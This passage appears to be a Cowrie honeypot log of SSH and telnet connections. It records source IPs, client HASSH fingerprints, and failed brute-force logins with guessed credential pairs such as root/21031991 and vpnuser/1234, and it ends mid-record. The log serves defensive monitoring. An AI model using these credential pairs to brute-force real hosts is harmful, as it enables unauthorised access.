{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:57.901338Z","src_ip":"31.41.152.180","session":"3a3519b991e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhang","password":"123456","message":"login attempt [zhang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:58.395990Z","src_ip":"31.41.152.180","session":"3a3519b991e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:59.513710Z","src_ip":"31.41.152.180","session":"3a3519b991e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":51222,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc5eea238743","protocol":"ssh","message":"New connection: 191.101.59.86:51222 (159.203.135.109:22) [session: cc5eea238743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:06.486757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:06.491668Z","src_ip":"191.101.59.86","session":"cc5eea238743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:06.617204Z","src_ip":"191.101.59.86","session":"cc5eea238743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:07.357772Z","src_ip":"191.101.59.86","session":"cc5eea238743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:08.448831Z","src_ip":"191.101.59.86","session":"cc5eea238743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":56474,"dst_ip":"10.17.0.5","dst_port":22,"session":"93d5d9f9ab23","protocol":"ssh","message":"New connection: 103.82.20.28:56474 (10.17.0.5:22) [session: 93d5d9f9ab23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:09.682473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:09.687051Z","src_ip":"103.82.20.28","session":"93d5d9f9ab23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:09.961780Z","src_ip":"103.82.20.28","session":"93d5d9f9ab23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21031991","message":"login attempt [root/21031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:10.786547Z","src_ip":"103.82.20.28","session":"93d5d9f9ab23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:12.064928Z","src_ip":"103.82.20.28","session":"93d5d9f9ab23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":49126,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac88cb5fe4ad","protocol":"telnet","message":"New connection: 79.139.59.21:49126 (159.203.135.109:23) [session: ac88cb5fe4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:11:40.182280Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":53358,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51f4d55c58e","protocol":"ssh","message":"New connection: 191.101.59.86:53358 (159.203.135.109:22) [session: d51f4d55c58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:28.997774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:29.002273Z","src_ip":"191.101.59.86","session":"d51f4d55c58e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:29.106362Z","src_ip":"191.101.59.86","session":"d51f4d55c58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theo","password":"theo","message":"login attempt [theo/theo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:29.457322Z","src_ip":"191.101.59.86","session":"d51f4d55c58e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:30.539860Z","src_ip":"191.101.59.86","session":"d51f4d55c58e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34266,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7d114c1fe39","protocol":"ssh","message":"New connection: 103.15.222.183:34266 (10.17.0.5:22) [session: e7d114c1fe39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:35.406194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:35.410513Z","src_ip":"103.15.222.183","session":"e7d114c1fe39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:35.662948Z","src_ip":"103.15.222.183","session":"e7d114c1fe39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"download","message":"login attempt [root/download] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:36.420742Z","src_ip":"103.15.222.183","session":"e7d114c1fe39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:37.676578Z","src_ip":"103.15.222.183","session":"e7d114c1fe39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":51552,"dst_ip":"159.203.135.109","dst_port":22,"session":"e102a2a7ac14","protocol":"ssh","message":"New connection: 31.41.152.180:51552 (159.203.135.109:22) [session: e102a2a7ac14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:48.624210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:48.629542Z","src_ip":"31.41.152.180","session":"e102a2a7ac14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:48.751812Z","src_ip":"31.41.152.180","session":"e102a2a7ac14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taher","password":"taher","message":"login attempt [taher/taher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:49.236471Z","src_ip":"31.41.152.180","session":"e102a2a7ac14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:50.352628Z","src_ip":"31.41.152.180","session":"e102a2a7ac14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":50506,"dst_ip":"159.203.135.109","dst_port":22,"session":"039749b07062","protocol":"ssh","message":"New connection: 171.25.158.82:50506 (159.203.135.109:22) [session: 039749b07062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:50.624309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:50.629838Z","src_ip":"171.25.158.82","session":"039749b07062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:50.740664Z","src_ip":"171.25.158.82","session":"039749b07062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"1234","message":"login attempt [vpnuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:51.231330Z","src_ip":"171.25.158.82","session":"039749b07062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:52.344719Z","src_ip":"171.25.158.82","session":"039749b07062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47392,"dst_ip":"159.203.135.109","dst_port":22,"session":"a78aff8624cb","protocol":"ssh","message":"New connection: 80.66.85.226:47392 (159.203.135.109:22) [session: a78aff8624cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:55.176137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:55.181149Z","src_ip":"80.66.85.226","session":"a78aff8624cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:55.281332Z","src_ip":"80.66.85.226","session":"a78aff8624cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nurbek","message":"login attempt [root/nurbek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:55.552315Z","src_ip":"80.66.85.226","session":"a78aff8624cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:12:56.645611Z","src_ip":"80.66.85.226","session":"a78aff8624cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"113dae5abf8f","protocol":"ssh","message":"New connection: 193.46.255.86:38236 (159.203.135.109:22) [session: 113dae5abf8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:17.819597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:17.824670Z","src_ip":"193.46.255.86","session":"113dae5abf8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 